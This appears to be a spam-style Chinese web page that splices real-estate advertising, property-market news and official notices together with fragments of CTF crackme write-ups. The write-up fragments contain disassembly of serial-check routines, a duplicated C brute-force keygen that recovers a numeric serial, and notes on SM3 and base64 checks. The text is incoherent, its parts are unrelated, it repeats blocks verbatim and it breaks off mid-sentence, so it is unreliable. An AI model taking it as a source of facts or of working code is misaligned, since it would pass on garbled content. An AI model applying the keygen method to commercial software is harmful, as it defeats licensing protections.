建立健全广告审查制度,配备广告审查员,未经广告审查员审查的广告不予发布。所以继续往后看,发现奇怪之处。,里面涉及了两个结构体,分别是accountInfo和roleInfo,其实后面的游戏里还有一个物品信息的结构体,不过解题没用上,就不写了。据说,云轨也马上就要来了!你期待吗?10、大鹏新区2017年GDP预计330亿元,位居第10,增长7%。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。。

而对于我自己来说,是第一次直观看到,这样的所谓“系统文件”,在掌握它的流程与原理后,也是可以在其中“为所欲为”的。而对虎门来说,也将推动虎门加快进入珠江三角一小时经济圈,实现“穗莞深”同城。,在编辑框Edit控件的消息响应函数Hi_WM_COMMAND_sub_401570中通过每次输入是,都会调用消息响应函数,函数通过UpdateData(True)将当前输入的key文本更新赋值给Edit控件关联的CString成员变量,从下属代码中,可见edit控件关联成员变量在控件的0x60偏移处,要求输入的key文本长度大于0x0B,如果是正常直接输入,在输入第0x0B个字符时,就会响应校验,最大输入是0x0B;但这里的bug是,如果是复制粘贴的,其长度就可以任意,如"AAAAAAAAAAAAAAAA".text::0040158Fmov[esp+8Ch+var_74_thisPtr],:00401593callCWnd::UpdateData(int).text:00401598leaecx,[esp+88h+var_7C].text:0040159CcallCString::CString(void).text:004015A1moveax,[esi+60h].text:004015A4leaedx,[esi+60h].text:004015A7mov[esp+88h+var_4],:004015B2movebp,[eax-8].text:004015B5cmpebp,0Bh核心逻辑是两个迭代异或解密a.用用户输入的key的每一个字节异或上encKeyA=Hi_encKeyA_byte_403020,的每一个字节,解密出decKeyAb.用"a."得到的decKeyA的每一个字节有符号乘0x5E后在异或上加密代码Hi_encChipCode_sub_401540的每一个字节,解密出代码最后调用解密的代码显示成功信息。本次机智君就从入学、中考成绩,基本情况等几方面为大家介绍介绍福外。。在线斗地主这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535受元旦小长假和即将到来的农历新年影响,同时调控政策依旧不松绑,1月全市无新房住宅项目取得预售许可证,置业者入市愈发谨慎。,一句话:有颜,任性~在交通上,雅居乐民森迪茵湖小镇优势突出:  【去广州】距离南沙明珠湾CBD仅10分钟车程、广州地铁18号线中山延长线将在三角设站点,未来前往广州珠江新城仅需40分钟;  【去深圳】港珠澳大桥、深中通道将于2024年建成通车,届时深圳开车到中山市,将由现在的2小时缩减为20分钟;  【去中山城区】距中山市中心区仅20分钟,三角快线南段主体工程已于去年12月30日通车,快线开通后,车程将缩短为20分钟。中泰集团的成功,在于对品质的坚守,无论是做产品,还是做服务,一定要把品质放在第一位,未来才有市场。 2017中泰集团年度营销飞跃进步奖——潍坊中泰城项目营销部中山中泰上境项目  中山中泰上境项目2017年度四开四捷,别墅成交套数达全市总量1/4,位居中山第一,高层洋房月均成交套数位列中山西区第一,项目营销团队获得2017中泰集团年度营销最佳影响力奖!  项目12月创新采用电子开盘形式,创造10秒告罄佳绩,完成全年认购金额达到指标的150%,位列2017中泰集团各项目第一名,项目销售部获2017中泰集团年度营销优秀销售团队!2017中泰集团年度营销最佳影响力奖——中山中泰上境项目营销部2017中泰集团年度营销优秀销售团队——中山中泰上境项目销售部东莞中泰峰境项目  2017年短短四个月内两次大货量开盘即告罄,最终以19亿辉煌销售业绩,斩获东莞临深单盘销售套数冠军桂冠,获2017中泰集团年度营销卓越业绩奖!  同时,项目平均每天举办1场营销活动,对比同区域楼盘频次高出5倍,实现88286人到访,登记13676组客户,媒体曝光突破1亿,促成项目19亿元的辉煌销售业绩,项目策划部荣获2017中泰集团年度营销优秀策划团队!2017中泰集团年度营销卓越业绩奖——东莞中泰峰境项目营销部2017中泰集团年度营销优秀策划团队——东莞中泰峰境项目策划部谨献·个人2017中泰集团年度营销优秀销售经理——吴小媚2017中泰集团年度营销优秀策划经理——何茂升2017中泰集团年度营销优秀客服主管——苏安胜2017中泰集团年度营销最佳新人奖——徐莉莎2017中泰集团年度营销金牌置业顾问——赵平超认购/回款冠军奖——罗丝佳、曹文慧、王冠宇、赵平超、刘素芝谨献·合作方  2017中泰集团年度营销优秀合作方(排名不分先后)——网易、广东新浪网、房掌柜、解决方案广告、元观点文化传播、荣威文化发展、丹图广告  谨以此礼,肯定和感恩大家在这一年里的努力和付出!不忘初心,匠心筑梦  累累硕果,闪耀荣光,也让人不禁猜想这辉煌背后究竟有着多少异于常人的艰辛与付出。参与活动的家长表示:“每周最期待的事情就是带上小朋友参与凯旋TRC项目的活动,感觉非常有意义。者:(编程解码)(动态调试)骤:代码,定位主要流程。还是比较给力,memset这些都失败出来了,的就不行。很明确,一是任何时间都可以办理,二单套可以办理。还是比较给力,memset这些都失败出来了,的就不行。,作者:张粉层卢旭旭制图:张馨冉导语:新年伊始,随着农历春节长假的临近,楼市也步入了惨淡期。另外,加入会员可免费获取年度大数据报告,包括《2017深圳房地产统计分析报告》及《2017-2018深莞新房置业白皮书》:正文开始前,请各位网友大咖跟老牛一起猜猜猜~如果中洲湾是毛坯,你认为开盘价会是多少?参考下同片区竞品(7-9万):参考下不同片区同价位竞品:参考下海景资源竞品:关于买房,以及了解独家房产资讯及数据,直播先锋建议您加入咚咚找房的“速购服务”;说出您的需求,剩下的找房、价值分析、价格配比……都有专业人员帮您搞定,让您的买房路更顺一些。 ,.text:00403F65leaecx,[ebp+var_18_2Cstr].text:00403F68callHi_getCStrPtr_sub_:00403F6Dpusheax;:00403F6Eleaecx,[ebp+var_30_key1].text:00403F71callHi_checkKey1_or_expandKey_sub_403230Hi_checkFlag_dword_5982E4=1Hi_checkKey1_or_expandKey_sub_403230校验ifHi_checkFlag_dword_5982E4==1:Hi_check_key1_sub_403510//校验key1else:Hi_DecExpand_sub_403650//保留的key信息变换函数,本样例不使用在Hi_check_key1_sub_403510中调用0040354EcallHi_extract_key1_sub_4032C0解密释放出对比的rkey1,随后将rkey1与key1明文对比,即只需要在40356D断下,观测ecx和eax寄存器指向的缓冲区即可得到key1\rkey1=pediy比对正确后,会对Hi_checkFlag_dword_5982E4清零,后续重入Hi_checkKey1_or_expandKey_sub_403230函数时就不会重复校验。执着完成指标,坚定团队作战,遇见更优秀的自己,成就中泰辉煌业绩。广深首套房贷利率普遍上浮10%,上海还有九折优惠据融360大数据研究院统计,2017年度一线城市首套平均利率中,广州上涨个百分点,深圳上涨个百分点,北京上涨个百分点,上海上涨个百分点。F户型建筑面积约142㎡四房两厅两卫。,博彩评级,去年发布的福田未来规划也明确了“曼哈顿+硅谷”的发展定位,深圳国际金融街、国际交流中心,深港协同创新中心等项目也即将落地!福田的实力,毋庸置疑!3、龙岗区2017年GDP预计3800亿元跃居全市第三,增长%,提前三年实现GDP比2010年翻一番的目标!东进第一区、城市副中心……这个曾经的边缘区域现在俨然已经实现了大翻身!除了华为“撑腰”,龙岗全年引进超亿元项目236宗,推动柔宇国际性显示基地、光启未来科技城等108个在建重大项目建设;坂雪岗科技城、大运新城、国际低碳城纷纷纳入“广深科技走廊”规划。又是一道pwn题,需要利用程序的漏洞来getshell然后读取存放在远程服务器上的flag文件。这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535   2018年1月31日,万科发布公告,董事会主席郁亮不再兼任总裁、首席执行官,万科董事会聘任祝九胜为公司总裁、首席执行官。因为读了大量的书,所以有他独特的见解,他有思考能力,他的总结能力,他的理论功底是非常非常不错的,10:30分:郁亮携带新任总裁祝九胜亮相祝九胜简历1969年出生,1993年获得中南财经大学(现中南财经政法大学)经济学硕士学位,2003年获得中南财经政法大学经济学博士学位。sm3_42DA78(v14,3u,(int)v11);这个函数根据下边函数里的初始值很容易搜到是国密算法sm3int__cdeclsub_436700(_DWORD*a1){intresult;//eax*a1=0;a1[1]=0;a1[2]=0x7380166F;a1[3]=0x4914B2B9;a1[4]=0x172442D7;a1[5]=0xDA8A0600;a1[6]=0xA96F30BC;a1[7]=0x163138AA;a1[8]=0xE38DEE4D;a1[9]=0xB0FB0E4E;if(sub_42DA7D()==1)sub_42E086();sub_42D389();if(sub_42D807()==1)sub_42E086();result=sub_42D39D();if(result==1)sub_42E086();returnresult;}主要是计算解码后的字符串的sm3值。。年基本民生支出保障工作的通知》(财预〔〕号)、《省财政厅关于做好年度中央预下达转移支付指标录入及提前下达工作的通知》(黔财预〔〕号),省财政厅国库处直接对省直管县办理专户调度,非省直管县专户调度由市办理。现公示如下:序号医疗机构名称区地址1上海市静安区精神卫生中心静安第一执业地点:平遥路80、100号第二执业地点:康定路834号第三执业地点:胶州路424弄2号103室公示期自即日起7天,即1月29日至2月4日。。年在重庆医科大学附属儿童医院呼吸内科专科进修半年,年在深圳市妇幼保健院新生儿科专科进修半年。2017年度国家科学技术奖共评选出271个项目和9名科技专家。〕号)大家一致表示,要坚定维护以习近平同志为核心的党中央权威和集中统一领导,坚决把十九大精神融入到实际工作中去,强化使命担当,以新作为开创新局面。。中山的反应同样明显。。一、三块“只租不售”地块  三宗地均建设全年期自持租赁住房,项目建成后,宗地内租赁住房和商业用房在70年出让年期内自持。而且,施工期间工地将停工,无法承受;同时,如果内移1米将产生新的施工安全隐患”,称将加快项目建设,在项目完成建设后对道路进行建设。现状会车困难、交通拥堵存在消防安全隐患对于远洋城天曜的业主而言,从兴文路到小区门口,短短几百米的距离,在上下班高峰期要堵上20多分钟才能到家,随着小区入住率不断提高,拥堵频率越来越高,拥堵时长越来越久。句柄表在EPROCESS结构体中,有一个句柄表成员:我们知道,句柄是为了操作内核对象的“序号”,它的好处在于统一了接口,使得进程(准确来说是线程)能够用统一的方式操作不同的对象资源。受元旦以及即将步入的春节假期影响,二手房成交量有所下滑,其中罗湖区领跌全市,其余各区成交量不同程度下挫。作为一个资金密集型行业,开发商的拓张一直都带着高杠杆运营的逻辑。。string_sm3=sm3(string);for(i=0;i32;++i)j__sprintf(v10[2*i],"%02x",v11[i]);v4=j__strlen(v10);v5=String+j__strlen(String);v6=j__strlen(v10);//输入的base64串的后64位与原始字符串的sm3值相等if(!j__memcmp(v10,v5[-v6],v4))接着是比较string_sm3是否等于输入的64位时候相等。,与之相比,新一线与二线城市的短租市场则呈现出更加迅猛的发展势头。,在消息响应函数Hi_ctrl_WM_COMMAND_handler_sub_403E80中通过调用Hi_update_sub_41C31A(True)更新编辑框内容到关联的控件成员变量中.text::00403EB4movecx,[ebp+var_118_thisPtr].text:00403EBAcallHi_update_sub_41C31A通过调用Hi_update_sub_41C31A中调用Hi_getEditText_sub_403B600041C361calldwordptr[eax+100h];Hi_getEditText_sub_403B60Hi_getEditText_sub_403B60如下,可见edit控件关联的字符串成员变量在偏移处.text:00403B63leaeax,[ecx+0C0h].text:00403B69pusheax;::00403B6Fpush[ebp+arg_0]:00403B72callHi_InP2DlgID_OutP3text_sub_416F7A下述代码将注册码通过Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30函数分成两部分粗放于两个元素的CStr数组中var_18_2Cstr。非通透户型:建筑面积约93-103㎡户型三房两厅两卫通透户型:建筑面积约110-111㎡户型四房两厅两卫建筑面积约120-124㎡户型四房两厅两卫建筑面积约93-103㎡户型三房两厅两卫两个户型具有极高的相似度只是在尺寸方面略有不同,1栋93㎡户型朝向东南,2栋103平方米户型朝向西南,朝向方向为幼儿园低矮建筑视野狂广度较佳。    印象瓷盘,芳华永驻    生活并非缺少美,而是缺少创造美的原动力。其实就是对输入分别与下面这一串异或,返回结果。,Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198认购人选定房号后,需交纳认购定金2万元,并签订认购协议书,否则视为放弃选房。看病难、看病贵问题的关键环节。。

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刘承祐2018-5-23

周简王姬夷”,输入程序,结果如下。

异或交换与合并性质:x1^x2^x3^x4=x1^(x2^x3^x4)即参与异或的操作数可以任意交换并先组合异或运算,再与其余操作数异或运算。先看了字符串:FileMonitor-Sysinternals::检测了一堆进程,以这个作为已知条件,很容易找到代码(起始直接看winmain就好)int__stdcallsub_434EF0(HWNDhDlg,inta2,inta3,inta4){size_tv4;//ST0C_4CHAR*v5;//esisize_tv6;//eaxintv8;//[esp+Ch][ebp-1A40h]inti;//[esp+1C4h][ebp-1888h]charv10[1032];//[esp+1D0h][ebp-187Ch]unsigned__int8v11[40];//[esp+5D8h][ebp-1474h]size_tv12;//[esp+600h][ebp-144Ch]_BYTEv13[1032];//[esp+60Ch][ebp-1440h]charv14;//[esp+A14h][ebp-1038h]charv15;//[esp+A15h][ebp-1037h]charv16;//[esp+E1Ch][ebp-C30h]charv17;//[esp+E1Dh][ebp-C2Fh]CHARString;//[esp+1224h][ebp-828h]charv19;//[esp+1225h][ebp-827h]UINTv20;//[esp+162Ch][ebp-420h]charv21;//[esp+1638h][ebp-414h]charv22;//[esp+1639h][ebp-413h]intv23;//[esp+1A40h][ebp-Ch]v23=0;v21=0;j__memset(v22,0,0x3FFu);v8=a2;if(a2==16)ExitProcess(0);if(v8==WM_INITDIALOG){v23=sub_42D4F1();if(v23==1)ExitProcess(0);v23=0;v23=sub_42E428();if(v23==1)ExitProcess(0);v23=0;v23=sub_42D825();if(v23==1)ExitProcess(0);sub_42D14F(hDlg,1);return0;}if(v8!=WM_COMMAND)return0;v8=(unsigned__int16)a3;if((unsigned__int16)a3==1002){String=0;j__memset(v19,0,0x3FFu);v16=0;j__memset(v17,0,0x3FFu);v20=GetDlgItemTextA(hDlg,1001,String,1025);v14=0;j__memset(v15,0,0x3FFu);base64_decode_42D267((int)String,1024,(int)v16);v13[0]=0;j__memset(v13[1],0,0x3FFu);base64_decode_42D267((int)v16,1024